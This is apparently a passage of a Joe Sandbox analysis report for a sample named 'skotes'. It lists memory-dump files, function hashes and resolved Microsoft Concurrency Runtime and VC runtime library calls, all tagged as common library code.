Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 8cb68b1bc83d6a603c72b29bb5c345d3feedb03beb43bf2e1d171e7a58b9bc31
Instruction ID: 126e827c56af4f4042c7e6533d5be7285c2231b39856a082a7b323323831c740
Opcode Fuzzy Hash: 8cb68b1bc83d6a603c72b29bb5c345d3feedb03beb43bf2e1d171e7a58b9bc31
Instruction Fuzzy Hash: C071B07090028AAFDF19CF56C885BBE7FBABF85304F044099EC816B256C7718D15DB61

Function 005D2832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 005D2876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 005D28DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 005D2913

Part of subcall function 005D07ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 005D080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 005D2993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 005D29DB

Part of subcall function 005D07C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 005D07DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 005D29EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 005D2A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 005D2A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 005D2A7E

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 04d179ae14219562230cf497fdcaf06b6923717ac547e7e063ffad47ee959c72
Instruction ID: aabb70782a6b1cc44bca5d4042b99881e834a38b3870d9bb7faf4189a4b4782f
Opcode Fuzzy Hash: 04d179ae14219562230cf497fdcaf06b6923717ac547e7e063ffad47ee959c72
Instruction Fuzzy Hash: CB819131A05616DBCB28DFADD8A05ADBBB2FBA8310F58902FD446E7341D7346981CB94

Function 005D69DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 005D6A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 005D6A51
List.LIBCONCRT ref: 005D6A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 005D6A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 005D6AB9
List.LIBCONCRT ref: 005D6AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 005D6B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 005D6B20
List.LIBCONCRT ref: 005D6B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 005D6B68

Part of subcall function 005D5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 005D5EF7
Part of subcall function 005D5EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 005D5F09

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: b5a5dada771b3f4d6c4ea5b4dcb1c763e2d3dd3e728a3108fb77453484df3392
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: DD514171A0021AAFDB14DF98C595BEDBBA8FF48304F1540ABE955AB341DB30AE45CF90

Function 005E52A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 005E53A0
type_info::operator==.LIBVCRUNTIME ref: 005E53C7
___TypeMatch.LIBVCRUNTIME ref: 005E54D3
IsInExceptionSpec.LIBVCRUNTIME ref: 005E55AE
CallUnexpected.LIBVCRUNTIME ref: 005E5650

Strings

csm, xrefs: 005E53FE
csm, xrefs: 005E52E0
csm, xrefs: 005E534D

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: ExceptionSpec$CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 4162181273-393685449
Opcode ID: 34748ac1bce942992fb3bd3292957f39933d278a13b0b3f8a18f2e392d22757a
Instruction ID: 4119c28b0ca7fcc62a0fa35b72d290a1fd4f7b64aae280258b384bdfe11430cc
Opcode Fuzzy Hash: 34748ac1bce942992fb3bd3292957f39933d278a13b0b3f8a18f2e392d22757a
Instruction Fuzzy Hash: 92C19C7180068ADFCF1DDF96C8849AEBFB5BF58318F10455AF8916B202E770DA51CB91

Function 005E4840 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 005E4877
___except_validate_context_record.LIBVCRUNTIME ref: 005E487F
_ValidateLocalCookies.LIBCMT ref: 005E4908
__IsNonwritableInCurrentImage.LIBCMT ref: 005E4933
_ValidateLocalCookies.LIBCMT ref: 005E4988

Strings

S9^, xrefs: 005E4925, 005E492E, 005E493F
csm, xrefs: 005E491D

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721494550.0000000000612000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721893468.0000000000619000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3721989743.000000000061B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722082421.0000000000627000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722609435.0000000000775000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722701630.0000000000777000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.0000000000792000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722800089.000000000079D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3722959785.00000000007A1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723022847.00000000007A7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723117146.00000000007B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723206062.00000000007B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723356358.00000000007CF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723399105.00000000007D0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723485971.00000000007D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723556655.00000000007E4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723649094.00000000007E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723739456.00000000007E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723839179.00000000007FC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3723930453.00000000007FD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724048527.00000000007FE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724143125.0000000000802000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724234989.0000000000803000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724358463.0000000000807000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724502159.0000000000810000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724542752.0000000000812000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724621887.0000000000813000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724695871.0000000000817000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724789373.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724860324.0000000000827000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3724954408.0000000000828000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725026065.000000000082A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725122166.000000000082B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725217523.000000000082F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725281644.0000000000830000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725373883.0000000000831000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725469857.0000000000837000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725541269.000000000083B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725638458.0000000000842000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725706337.0000000000845000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725832417.0000000000856000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3725925729.0000000000859000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726075575.0000000000877000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000878000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726174253.0000000000884000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726394394.00000000008B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726465773.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726560678.00000000008B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726629525.00000000008BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726699247.00000000008C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.3726794979.00000000008CA000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5b0000_skotes.jbxd

Yara matches

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: S9^$csm
API String ID: 1170836740-3305700641
Opcode ID: b02a209dccf866f21beb6a418ceaaa968a4dd48001c3640b4591c069ff1273e8
Instruction ID: c236b1d09987ffe1671080aca7cc0719b6b83ded8b04d6ec34558e1e7fd54808
Opcode Fuzzy Hash: b02a209dccf866f21beb6a418ceaaa968a4dd48001c3640b4591c069ff1273e8
Instruction Fuzzy Hash: 8441F530E0028A9BCF18DF2AD888AAE7FB5BF45318F148155E854AB392D731DE51CF91

Function 005D7364 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 005D73B0
Concurrency::details::SchedulingNode::FindMatchingVirtualProcessor.LIBCONCRT ref: 005D73F2
Concurrency::details::InternalContextBase::GetAndResetOversubscribedVProc.LIBCMT ref: 005D740E
Concurrency::details::VirtualProcessor::MarkForRetirement.LIBCONCRT ref: 005D7419
std::invalid_argument::invalid_argument.LIBCONCRT ref: 005D7440

Strings

ppVirtualProcessorRoots, xrefs: 005D7438
count, xrefs: 005D737E

Memory Dump Source

Source File: 00000006.00000002.3721494550.00000000005B1000.00000040.00000001.01000000.00000007.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000006.00000002.3721322096.00000000005B0000.00000004.00000001.01000000.00000007.sdmpDownload File
